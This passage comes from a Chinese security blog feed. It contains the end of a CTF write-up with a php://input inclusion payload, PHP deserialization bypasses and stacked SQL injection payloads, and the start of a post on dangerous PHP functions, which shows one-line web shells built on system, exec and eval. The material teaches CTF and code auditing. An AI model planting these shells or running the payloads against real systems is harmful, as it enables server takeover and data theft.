&#123;</span><br><span class="line">    $page&#x3D;str_replace(&quot;php:&#x2F;&#x2F;&quot;, &quot;&quot;, $page);</span><br><span class="line">&#125;</span><br><span class="line">while (strstr($page, &quot;data:&#x2F;&#x2F;&quot;)) &#123;</span><br><span class="line">    $page&#x3D;str_replace(&quot;data:&#x2F;&#x2F;&quot;, &quot;&quot;, $page);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">echo $page;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">GET &#x2F;?page&#x3D;pdata:&#x2F;&#x2F;hp:&#x2F;&#x2F;input HTTP&#x2F;1.1</span><br><span class="line">Host: 222.243.204.5:28082</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">User-Agent: Mozilla&#x2F;5.0 (Windows NT 10.0; Win64; x64) AppleWebKit&#x2F;537.36 (KHTML, like Gecko) Chrome&#x2F;90.0.4430.85 Safari&#x2F;537.36 Edg&#x2F;90.0.818.46</span><br><span class="line">Accept: text&#x2F;html,application&#x2F;xhtml+xml,application&#x2F;xml;q&#x3D;0.9,image&#x2F;webp,image&#x2F;apng,*&#x2F;*;q&#x3D;0.8,application&#x2F;signed-exchange;v&#x3D;b3;q&#x3D;0.9</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept-Language: zh-CN,zh;q&#x3D;0.9,en;q&#x3D;0.8,en-GB;q&#x3D;0.7,en-US;q&#x3D;0.6</span><br><span class="line">Cookie: session&#x3D;f740e33b-f09b-4df7-a5bb-097cc1a9c9aa.dCC8kTElFu66NS7LYainSbq7dlE; isLogin&#x3D;0</span><br><span class="line">Connection: close</span><br><span class="line">Content-Length: 47</span><br><span class="line"></span><br><span class="line">&lt;?php system(&quot;cat husectf2021_1e90751f.php&quot;);?&gt;</span><br></pre></td></tr></table></figure><h3 id="6unserialize"><a class="markdownIt-Anchor" href="#6unserialize">#</a> 6.unserialize</h3><h4 id="ctf中的序列化与反序列化"><a class="markdownIt-Anchor" href="#ctf中的序列化与反序列化">#</a> <a href="https://www.cclss.cn">CTF 中的序列化与反序列化</a></h4><p>记一些 CTF 出现的序列化与反序列化的知识点和题目。</p><h4 id="序列化和反序列化的概念"><a class="markdownIt-Anchor" href="#序列化和反序列化的概念">#</a> 序列化和反序列化的概念</h4><p>序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。<br>反序列化则相反将字符串重新恢复成对象。<br>对象的序列化利于对象的保存和传输，也可以让多个文件共享对象。</p><h4 id="序列化中常见的魔法函数"><a class="markdownIt-Anchor" href="#序列化中常见的魔法函数">#</a> 序列化中常见的魔法函数：</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">__construct() 创建对象时调用</span><br><span class="line">__destruct() 销毁对象时调用</span><br><span class="line">__toString() 当一个对象被当作一个字符串使用</span><br><span class="line">__sleep() 在对象在被序列化之前运行</span><br><span class="line">__wakeup() 将在序列化之后立即被调用</span><br></pre></td></tr></table></figure><h4 id="看一串字符串"><a class="markdownIt-Anchor" href="#看一串字符串">#</a> 看一串字符串</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">O:3:&quot;Ctf&quot;:3&#123;s:4:&quot;flag&quot;;s:13:&quot;flag&#123;abedyui&#125;&quot;;s:4:&quot;name&quot;;s:7:&quot;Sch0lar&quot;;s:3:&quot;age&quot;;s:2:&quot;18&quot;;&#125;</span><br><span class="line"></span><br><span class="line">O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示</span><br><span class="line">3 代表类名字占三个字符 </span><br><span class="line">ctf 类名</span><br><span class="line">3 代表三个属性</span><br><span class="line">s代表字符串</span><br><span class="line">4代表属性名长度</span><br><span class="line">flag属性名</span><br><span class="line">s:13:&quot;flag&#123;abedyui&#125;&quot; 字符串 属性值长度 属性值</span><br></pre></td></tr></table></figure><h4 id="访问控制修饰符"><a class="markdownIt-Anchor" href="#访问控制修饰符">#</a> 访问控制修饰符</h4><p>根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同，所以这里简单提一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">public(公有)</span><br><span class="line">protected(受保护)</span><br><span class="line">private(私有的)</span><br><span class="line">protected属性被序列化的时候属性值会变成：%00*%00属性名</span><br><span class="line">private属性被序列化的时候属性值会变成：%00类名%00属性名</span><br></pre></td></tr></table></figure><p>就像这样</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O:4:&quot;Name&quot;:2:&#123;s:14:&quot;%00Name%00username&quot;;s:5:&quot;admin&quot;;s:14:&quot;%00Name%00password&quot;;i:100;&#125;&#x2F;&#x2F;这里是private属性被序列化</span><br></pre></td></tr></table></figure><h4 id="绕过__wakeup函数"><a class="markdownIt-Anchor" href="#绕过__wakeup函数">#</a> 绕过__wakeup () 函数</h4><p>当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup 的执行。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;将上面的对象属性个数值改成逼真实个数打</span><br><span class="line">O:4:&quot;Name&quot;:3:&#123;s:14:&quot;%00Name%00username&quot;;s:5:&quot;admin&quot;;s:14:&quot;%00Name%00password&quot;;i:100;&#125;</span><br></pre></td></tr></table></figure><p>测试 demo</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">class Demo &#123;</span><br><span class="line">    private $name &#x3D; &#39;husectf2021&#39;;</span><br><span class="line">    private $file &#x3D; &#39;index.php&#39;;</span><br><span class="line">    public function __construct($file) &#123;</span><br><span class="line">        $this-&gt;file &#x3D; $file;</span><br><span class="line">    &#125;</span><br><span class="line">    function __destruct() &#123;</span><br><span class="line">        echo &quot;hello,&quot; . $this-&gt;name;</span><br><span class="line">        echo @highlight_file($this-&gt;file, true);</span><br><span class="line">    &#125;</span><br><span class="line">    function __wakeup() &#123;</span><br><span class="line">        if ($this-&gt;file !&#x3D; &#39;index.php&#39;) &#123;</span><br><span class="line">            &#x2F;&#x2F;the secret is in the husectf2021.php</span><br><span class="line">            $this-&gt;file &#x3D; &#39;index.php&#39;;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">    $A &#x3D; new Demo(&#39;husectf2021.php&#39;);</span><br><span class="line">    $C &#x3D; serialize($A);</span><br><span class="line">    var_dump($C);</span><br><span class="line">    $C &#x3D; str_replace(&#39;O:4&#39;, &#39;O:+4&#39;,$C);&#x2F;&#x2F;用+4 （绕过）preg_match</span><br><span class="line">    $C &#x3D; str_replace(&#39;:2:&#39;, &#39;:3:&#39;,$C);&#x2F;&#x2F;绕过wakeup 大于个数即可绕过 5，6都可</span><br><span class="line">    var_dump($C);  &#x2F;&#x2F;打印变量信息</span><br><span class="line">    var_dump(base64_encode($C));</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>将 base64 编码传入获得 flag</p><h3 id="7husesql"><a class="markdownIt-Anchor" href="#7husesql">#</a> 7.husesql</h3><p>输入 1’报错 推断存在 sql 注入</p><p>输入 1‘ and ‘1’='1  放回正确</p><p>1’ order by 2 –  正确 1’ order by 3 – 报错  推断字段数为二</p><p>1’ union select 1,2 报错提示过滤了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select|update|delete|drop|insert|where|</span><br></pre></td></tr></table></figure><p>发现存在堆叠注入</p><p>1’;show databases;# // 堆叠  查数据库       -1’ and extractvalue (1,concat (1,version ()))-- +   // 获得数据库名称</p><p>1’;show tables;#  查表</p><p>1’;show columns from ise_lab_2021husectf;# 查字段</p><p>-1’;show columns from words#</p><p><strong>words 应该为默认查询表</strong></p><p><strong>方法一</strong> 。将要查询的 flag 字段改为默认表</p><p>添加一个 id 字段，并将其设置为主键和自动增加，以确定值的存在</p><p>-1’;ALTER TABLE  <code>ise_lab_2021husectf</code>  ADD (id int(11) primary key auto_increment);%23</p><p>1’;show columns from ise_lab_2021husectf;# 查看是否添加成功</p><p>将 flag 字段改名为 data</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">alter table words rename to aaaa;先把原来的words表名字改成别的，随便改都行</span><br><span class="line">alter table ise_lab_2021husectf rename to words;将表ise_lab_2021husectf的名字改为words</span><br><span class="line">alter table words change flag id varchar(100);将改完名字后的表中的flag改为id，</span><br></pre></td></tr></table></figure><p>=1’; alter table words rename to aaaa;alter table  <code>ise_lab_2021husectf</code>  rename to words;alter table words change flag id varchar(100);#</p><p>1’ or 1=1#</p><p><strong>方法二。</strong> 用拼接构造请求</p><p><strong>CONCAT</strong> 函数用于将两个字符串连接为一个字符串 例如</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">SQL&gt; SELECT CONCAT(&#39;FIRST &#39;, &#39;SECOND&#39;);</span><br><span class="line">+----------------------------+</span><br><span class="line">| CONCAT(&#39;FIRST &#39;, &#39;SECOND&#39;) |</span><br><span class="line">+----------------------------+</span><br><span class="line">| FIRST SECOND               |</span><br><span class="line">+----------------------------+</span><br><span class="line">1 row in set (0.00 sec)</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-1&#39;;use supersqli;set @sql&#x3D;concat(&#39;s&#39;,&#39;elect &#96;flag&#96; from &#96;ise_lab_2021husectf&#96;&#39;);PREPARE sql_query FROM @sql;EXECUTE sql_query;--+</span><br></pre></td></tr></table></figure><p>PREPARE 为预处理</p><p><strong>方法三，handler 查询</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-1&#39;;handler &#96;ise_lab_2021husectf&#96; open;handler &#96;ise_lab_2021husectf&#96; read first;#</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="8unserialize2"><a class="markdownIt-Anchor" href="#8unserialize2">#</a> 8.unserialize2</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">final</span> <span class="class"><span class="keyword">class</span> <span class="title">User</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$userData</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$loginAttempt</span></span>)  //创建对象时调用  将值传给<span class="title">loginAttempt</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;userData = unserialize(<span class="variable">$loginAttempt</span>);  <span class="comment">//调用反序列化</span></span><br><span class="line">        <span class="keyword">if</span> (!<span class="keyword">$this</span>-&gt;userData)</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">InvalidArgumentException</span>(<span class="string">&#x27;Unable to reconstruct user data&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">verifyUsername</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;userData-&gt;username === <span class="string">&#x27;husectfer&#x27;</span>;  <span class="comment">//判断username</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">verifyRandomVal</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;userData-&gt;randomValue = random_int(<span class="number">1e10</span>, <span class="number">1e11</span> - <span class="number">1</span>);</span><br><span class="line">        <span class="keyword">return</span> (<span class="keyword">int</span>)<span class="keyword">$this</span>-&gt;userData-&gt;rnd === <span class="keyword">$this</span>-&gt;userData-&gt;randomValue;  </span><br><span class="line">    &#125;   <span class="comment">//构造 return放回结果为真</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">verify</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="keyword">$this</span>-&gt;verifyUsername())   <span class="comment">//调用verifyUsername() 判断</span></span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">InvalidArgumentException</span>(<span class="string">&#x27;Invalid username&#x27;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!<span class="keyword">$this</span>-&gt;verifyRandomVal()) <span class="comment">//调用verifyRandomVal() 判断</span></span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">InvalidArgumentException</span>(<span class="string">&#x27;Invalid random token value&#x27;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;var&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$var</span> = base64_decode(<span class="variable">$_GET</span>[<span class="string">&#x27;var&#x27;</span>]);  <span class="comment">//base64解码</span></span><br><span class="line">    <span class="variable">$user</span> = <span class="keyword">new</span> User(<span class="variable">$var</span>);   <span class="comment">//创建一个新的user类</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$user</span>-&gt;verify()) &#123;   <span class="comment">//如果verify验证通过放出flag 要同时满足 v和v1函数</span></span><br><span class="line">       highlight_file(<span class="string">&quot;flag.php&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    highlight_file(<span class="string">&quot;index.php&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>代码审计 要构造 username === husectfer    rnd=randomValue</p><p>贴出构造代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$x</span> = <span class="keyword">array</span>();</span><br><span class="line"></span><br><span class="line"><span class="variable">$x</span>[<span class="string">&#x27;username&#x27;</span>] = <span class="string">&quot;husectfer&quot;</span>;</span><br><span class="line"><span class="variable">$x</span>[<span class="string">&#x27;randomValue&#x27;</span>] = random_int(<span class="number">1e10</span>, <span class="number">1e11</span> - <span class="number">1</span>);</span><br><span class="line"><span class="variable">$x</span>[<span class="string">&#x27;randomValue&#x27;</span>] = <span class="number">0</span>;</span><br><span class="line"><span class="variable">$x</span>[<span class="string">&#x27;rnd&#x27;</span>] = &amp;<span class="variable">$x</span>[<span class="string">&#x27;randomValue&#x27;</span>];  <span class="comment">//将randomValue的地址赋给rnd使其达到相等目的</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> (serialize((<span class="keyword">object</span>)<span class="variable">$x</span>)); <span class="comment">//object 将其他类转换为对象</span></span><br><span class="line"><span class="keyword">echo</span> base64_encode(serialize((<span class="keyword">object</span>)<span class="variable">$x</span>));</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210425204922.png" alt="image-20210425204906284"></p>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="ctf" scheme="http://www.cclss.top/categories/ctf/"/>
    
    
    <category term="ctf" scheme="http://www.cclss.top/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>Web渗透 之 PHP危险函数</title>
    <link href="http://www.cclss.top/post/web_dg/"/>
    <id>http://www.cclss.top/post/web_dg/</id>
    <published>2021-04-13T11:42:04.000Z</published>
    <updated>2021-04-13T11:42:04.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="web渗透-之-php危险函数"><a class="markdownIt-Anchor" href="#web渗透-之-php危险函数">#</a> Web 渗透 之 PHP 危险函数</h1><h2 id="后台代码-php-危险函数"><a class="markdownIt-Anchor" href="#后台代码-php-危险函数">#</a> <strong>后台代码 - PHP 危险函数</strong></h2><p>PHP 中有一些函数是比较危险的，也是进行 PHP 代码审计的时候需要重点关注的内容。</p><h2 id="0x01-os-命令执行函数"><a class="markdownIt-Anchor" href="#0x01-os-命令执行函数">#</a> <strong>0x01 OS 命令执行函数</strong></h2><p>这些函数会调用系统命令，类似于 <code>bash</code>  或者 <code>cmd</code> ，PHP 会自动区分平台。</p><ul><li>系统命令函数，调用的是服务器命令。</li><li>PHP 解释器会自动识别系统平台。</li><li>如果参数可控，就相当于 <code>Shell</code> 。</li><li>在浏览器端输入命令，在服务器端执行。</li><li>通过 Web 方式传参调用系统命令，无法切换工作目录，非持久性连接，对比反弹 Shell。</li></ul><h3 id="system"><a class="markdownIt-Anchor" href="#system">#</a> <strong>system()</strong></h3><p><code>system()</code>  能够将字符串作为 OS 命令执行。</p><ul><li>自带输出功能</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&lt;meta charset=<span class="string">&#x27;gb2312&#x27;</span>&gt;</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]))&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;&quot;</span>;</span><br><span class="line">    system(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">echo</span><span class="string">&quot;</span></span><br><span class="line"><span class="string">    ?cmd=ipconfig</span></span><br><span class="line"><span class="string">    &quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="exec"><a class="markdownIt-Anchor" href="#exec">#</a> <strong>exec()</strong></h3><p>exec () 函数能将字符串作为 OS 命令执行。</p><ul><li>需要输出命令执行结果</li><li>不支持命令中有空格</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&lt;meta charset=<span class="string">&quot;gb2312&quot;</span>&gt;</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]))&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;&quot;</span>;</span><br><span class="line">    <span class="keyword">print</span> exec(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">echo</span><span class="string">&quot;</span></span><br><span class="line"><span class="string">    ?cmd=whoami</span></span><br><span class="line"><span class="string">    &quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="shell_exec"><a class="markdownIt-Anchor" href="#shell_exec">#</a> <strong>shell_exec()</strong></h3><p>将函数中的参数当做 OS 命令执行。</p><ul><li>需要输出命令执行结果。</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;pre&gt;</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]))&#123;</span><br><span class="line">    <span class="keyword">print</span> shell_exec(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">echo</span><span class="string">&quot;?cmd=whoami&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="passthru"><a class="markdownIt-Anchor" href="#passthru">#</a> <strong>passthru()</strong></h3><p>将字符串当做系统命令执行。</p><ul><li>自带输出功能</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;pre&gt;</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]))&#123;</span><br><span class="line">    passthru(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">echo</span><span class="string">&quot;?cmd=whoami&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="popen"><a class="markdownIt-Anchor" href="#popen">#</a> <strong>popen()</strong></h3><p><code>popen()</code>  能够执行 OS 命令。</p><ul><li>此函数没有回显，但是可以执行命令</li><li><code>?cmd=ipconfig &gt;&gt; 1.txt</code>  或者 <code>whoami &gt; 1.txt</code></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;pre&gt;</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]))&#123;</span><br><span class="line">    popen(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>],<span class="string">&#x27;r&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="反引号"><a class="markdownIt-Anchor" href="#反引号">#</a> <strong>反引号</strong></h3><p>反引号 `` 内的字符串，也会被解析成 OS 命令。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&lt;pre&gt;</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]))&#123;</span><br><span class="line">    <span class="variable">$cmd</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>];</span><br><span class="line">    <span class="keyword">print</span> `<span class="variable">$cmd</span>`;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="keyword">echo</span><span class="string">&quot;?cmd=whoami&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h2 id="0x02-php-代码执行函数"><a class="markdownIt-Anchor" href="#0x02-php-代码执行函数">#</a> <strong>0x02 PHP 代码执行函数</strong></h2><p>PHP 中有很多函数，可以将（符合 PHP 语法规范）<strong>字符串</strong>当做 PHP 代码执行。</p><h3 id="eval"><a class="markdownIt-Anchor" href="#eval">#</a> <strong>eval()</strong></h3><p><code>eval()</code>  会将符合 PHP 语法规范字符串当作 php 代码执行</p><ul><li><p>虽然可以以函数的方式调用 <code>eval()</code> ，但是 <code>eval()</code>  不是 PHP 的函数，而是一种语法结构。</p></li><li><p>在 <code>eval()</code>  执行的的字符串要以分号结束。</p></li><li><p>其他命令执行的方式</p></li><li><ul><li><code>?code=phpinfo();</code></li><li><code>?code=$&#123;phpinfo()&#125;;</code></li><li><code>?code=1;phpinfo();</code></li></ul></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">//phpinfo();</span></span><br><span class="line"><span class="comment">//$str = &quot;phpinfo();&quot;;</span></span><br><span class="line"><span class="comment">//echo $str;</span></span><br><span class="line"><span class="variable">$str</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;code&#x27;</span>];</span><br><span class="line"><span class="keyword">eval</span>(<span class="variable">$str</span>);</span><br><span class="line"><span class="comment">//      ?code=phinfo();</span></span><br><span class="line"><span class="comment">//      ?code=print(md5(123456));</span></span><br><span class="line"><span class="comment">//      ?code=system(whoami);</span></span><br><span class="line"><span class="comment">//      ?code=system(&#x27;net user&#x27;);</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span 